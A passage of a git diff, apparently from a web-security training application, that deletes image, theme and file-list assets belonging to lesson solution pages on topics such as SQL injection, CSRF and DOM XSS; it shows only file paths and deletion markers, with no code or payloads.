a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image011.png b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image011.png deleted file mode 100644 index 9987542b3..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image013.jpg b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image013.jpg deleted file mode 100644 index f5c8d4841..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image014.jpg b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image014.jpg deleted file mode 100644 index 68702bb41..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image014.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image015.jpg b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image015.jpg deleted file mode 100644 index b6e84a5fe..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image016.jpg b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image016.jpg deleted file mode 100644 index 93a58e837..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image016.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image017.jpg b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image017.jpg deleted file mode 100644 index 6055cba63..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image018.jpg b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image018.jpg deleted file mode 100644 index 2e2bf3fc5..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image018.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg b/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg deleted file mode 100644 index b7b54355c..000000000 Binary files a/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg b/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg deleted file mode 100644 index 716f2aad9..000000000 Binary files a/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/CSRF_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/CSRF_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/CSRF_files/filelist.xml b/src/main/webapp/lesson_solutions/CSRF_files/filelist.xml deleted file mode 100644 index 7f94019c7..000000000 --- a/src/main/webapp/lesson_solutions/CSRF_files/filelist.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image001.png b/src/main/webapp/lesson_solutions/CSRF_files/image001.png deleted file mode 100644 index 9d82bd95a..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image003.png b/src/main/webapp/lesson_solutions/CSRF_files/image003.png deleted file mode 100644 index 2189df262..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image005.png b/src/main/webapp/lesson_solutions/CSRF_files/image005.png deleted file mode 100644 index 95949f62b..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image007.png b/src/main/webapp/lesson_solutions/CSRF_files/image007.png deleted file mode 100644 index 7bf06a985..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image009.png b/src/main/webapp/lesson_solutions/CSRF_files/image009.png deleted file mode 100644 index d0e2f233c..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image011.jpg b/src/main/webapp/lesson_solutions/CSRF_files/image011.jpg deleted file mode 100644 index fbb254bd8..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image012.jpg b/src/main/webapp/lesson_solutions/CSRF_files/image012.jpg deleted file mode 100644 index 32dbb3c02..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image013.jpg b/src/main/webapp/lesson_solutions/CSRF_files/image013.jpg deleted file mode 100644 index 8d76909d8..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image014.jpg b/src/main/webapp/lesson_solutions/CSRF_files/image014.jpg deleted file mode 100644 index be9c8e294..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image014.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/image015.jpg b/src/main/webapp/lesson_solutions/CSRF_files/image015.jpg deleted file mode 100644 index ef71f6923..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CSRF_files/themedata.thmx b/src/main/webapp/lesson_solutions/CSRF_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/CSRF_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg b/src/main/webapp/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg deleted file mode 100644 index e51a40ad0..000000000 Binary files a/src/main/webapp/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png b/src/main/webapp/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png deleted file mode 100644 index e8f391339..000000000 Binary files a/src/main/webapp/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/CommandInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/CommandInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/CommandInjection_files/filelist.xml deleted file mode 100644 index c778dd663..000000000 --- a/src/main/webapp/lesson_solutions/CommandInjection_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/image001.png b/src/main/webapp/lesson_solutions/CommandInjection_files/image001.png deleted file mode 100644 index 95185ac08..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/image003.png b/src/main/webapp/lesson_solutions/CommandInjection_files/image003.png deleted file mode 100644 index bb6e1e518..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/image005.png b/src/main/webapp/lesson_solutions/CommandInjection_files/image005.png deleted file mode 100644 index 9c7ecd242..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/image007.jpg b/src/main/webapp/lesson_solutions/CommandInjection_files/image007.jpg deleted file mode 100644 index d82452e33..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/image007.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/image008.jpg b/src/main/webapp/lesson_solutions/CommandInjection_files/image008.jpg deleted file mode 100644 index 67162e723..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/image009.jpg b/src/main/webapp/lesson_solutions/CommandInjection_files/image009.jpg deleted file mode 100644 index 916c6fdc1..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CommandInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/CommandInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/CommandInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image001.jpg b/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image001.jpg deleted file mode 100644 index 408d75d35..000000000 Binary files a/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image002.jpg b/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image002.jpg deleted file mode 100644 index 455c17580..000000000 Binary files a/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image003.jpg b/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image003.jpg deleted file mode 100644 index ef1515bd6..000000000 Binary files a/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image003.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png deleted file mode 100644 index 3971e484f..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png deleted file mode 100644 index 48e299a23..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png deleted file mode 100644 index df21320e8..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png deleted file mode 100644 index b44361734..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png deleted file mode 100644 index 7f0518029..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png deleted file mode 100644 index 6257299d0..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png b/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png deleted file mode 100644 index 42f27f677..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHack.png b/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHack.png deleted file mode 100644 index 8e2b1503e..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHack.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png b/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png deleted file mode 100644 index e09a7fc57..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenPage.png b/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenPage.png deleted file mode 100644 index 5c6927667..000000000 Binary files a/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenPage.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/DOMInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/DOMInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/DOMInjection_files/filelist.xml deleted file mode 100644 index 44904329e..000000000 --- a/src/main/webapp/lesson_solutions/DOMInjection_files/filelist.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image001.png b/src/main/webapp/lesson_solutions/DOMInjection_files/image001.png deleted file mode 100644 index 8d3b529b0..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image002.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image002.jpg deleted file mode 100644 index 3f3bccdf5..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image003.png b/src/main/webapp/lesson_solutions/DOMInjection_files/image003.png deleted file mode 100644 index 9effd17b9..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image004.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image004.jpg deleted file mode 100644 index 016c16e12..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image005.png b/src/main/webapp/lesson_solutions/DOMInjection_files/image005.png deleted file mode 100644 index 844b00d92..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image006.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image006.jpg deleted file mode 100644 index c3349b050..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image007.png b/src/main/webapp/lesson_solutions/DOMInjection_files/image007.png deleted file mode 100644 index d0b0aec8e..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image008.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image008.jpg deleted file mode 100644 index 18a4764fe..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image008fix.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image008fix.jpg deleted file mode 100644 index 1112e63f7..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image008fix.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image009.png b/src/main/webapp/lesson_solutions/DOMInjection_files/image009.png deleted file mode 100644 index d1021bceb..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image010.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image010.jpg deleted file mode 100644 index e9bc078c3..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image010.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image011.png b/src/main/webapp/lesson_solutions/DOMInjection_files/image011.png deleted file mode 100644 index efe585a32..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/image012.jpg b/src/main/webapp/lesson_solutions/DOMInjection_files/image012.jpg deleted file mode 100644 index dd8bf4ac4..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/DOMInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMXSS_files/Thumbs.db b/src/main/webapp/lesson_solutions/DOMXSS_files/Thumbs.db deleted file mode 100644 index 550da4fb2..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMXSS_files/Thumbs.db and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMXSS_files/image001.jpg b/src/main/webapp/lesson_solutions/DOMXSS_files/image001.jpg deleted file mode 100644 index c62bcbd94..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMXSS_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMXSS_files/image002.jpg b/src/main/webapp/lesson_solutions/DOMXSS_files/image002.jpg deleted file mode 100644 index 77ce23c41..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMXSS_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMXSS_files/image003.jpg b/src/main/webapp/lesson_solutions/DOMXSS_files/image003.jpg deleted file mode 100644 index ce288a551..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMXSS_files/image003.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOMXSS_files/image004.jpg b/src/main/webapp/lesson_solutions/DOMXSS_files/image004.jpg deleted file mode 100644 index 6ae8cdfda..000000000 Binary files a/src/main/webapp/lesson_solutions/DOMXSS_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/DOS_Login_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/DOS_Login_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/filelist.xml b/src/main/webapp/lesson_solutions/DOS_Login_files/filelist.xml deleted file mode 100644 index 065d671e4..000000000 --- a/src/main/webapp/lesson_solutions/DOS_Login_files/filelist.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/image001.png b/src/main/webapp/lesson_solutions/DOS_Login_files/image001.png deleted file mode 100644 index dc2669fe2..000000000 Binary files a/src/main/webapp/lesson_solutions/DOS_Login_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/image002.jpg b/src/main/webapp/lesson_solutions/DOS_Login_files/image002.jpg deleted file mode 100644 index 6f5c75387..000000000 Binary files a/src/main/webapp/lesson_solutions/DOS_Login_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/image003.png b/src/main/webapp/lesson_solutions/DOS_Login_files/image003.png deleted file mode 100644 index 45396104d..000000000 Binary files a/src/main/webapp/lesson_solutions/DOS_Login_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/image004.jpg b/src/main/webapp/lesson_solutions/DOS_Login_files/image004.jpg deleted file mode 100644 index 372cdca56..000000000 Binary files a/src/main/webapp/lesson_solutions/DOS_Login_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/DOS_Login_files/themedata.thmx b/src/main/webapp/lesson_solutions/DOS_Login_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/DOS_Login_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/filelist.xml b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/filelist.xml deleted file mode 100644 index bdb35f85a..000000000 --- a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/filelist.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image001.png b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image001.png deleted file mode 100644 index 44e09369d..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image003.png b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image003.png deleted file mode 100644 index 1cf2cc012..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image005.png b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image005.png deleted file mode 100644 index 9f5747a75..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image007.png b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image007.png deleted file mode 100644 index 0845266c4..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image009.jpg b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image009.jpg deleted file mode 100644 index c871b0225..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image010.jpg b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image010.jpg deleted file mode 100644 index 74cec6054..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image010.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image011.jpg b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image011.jpg deleted file mode 100644 index 29defb100..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image012.jpg b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image012.jpg deleted file mode 100644 index 09d5ac828..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/themedata.thmx b/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/filelist.xml b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/filelist.xml deleted file mode 100644 index 6616ecc49..000000000 --- a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/filelist.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image001.png b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image001.png deleted file mode 100644 index c9047d693..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image002.jpg b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image002.jpg deleted file mode 100644 index 101e688a4..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image003.png b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image003.png deleted file mode 100644 index 569dc0098..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image004.jpg b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image004.jpg deleted file mode 100644 index 6fe272fa4..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image005.png b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image005.png deleted file mode 100644 index f2945e2b0..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image006.jpg b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image006.jpg deleted file mode 100644 index 7ec274b62..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image007.png b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image007.png deleted file mode 100644 index a001e7963..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image008.jpg b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image008.jpg deleted file mode 100644 index 672f7af05..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/themedata.thmx b/src/main/webapp/lesson_solutions/ForcedBrowsing_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/ForcedBrowsing_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/ForgotPassword_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/ForgotPassword_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/filelist.xml b/src/main/webapp/lesson_solutions/ForgotPassword_files/filelist.xml deleted file mode 100644 index ec8ce5b70..000000000 --- a/src/main/webapp/lesson_solutions/ForgotPassword_files/filelist.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image001.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image001.png deleted file mode 100644 index 3e10c76d3..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image003.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image003.png deleted file mode 100644 index 11a7001dc..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image005.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image005.png deleted file mode 100644 index 033f2e8c8..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image005.png and /dev/null differ diff --git 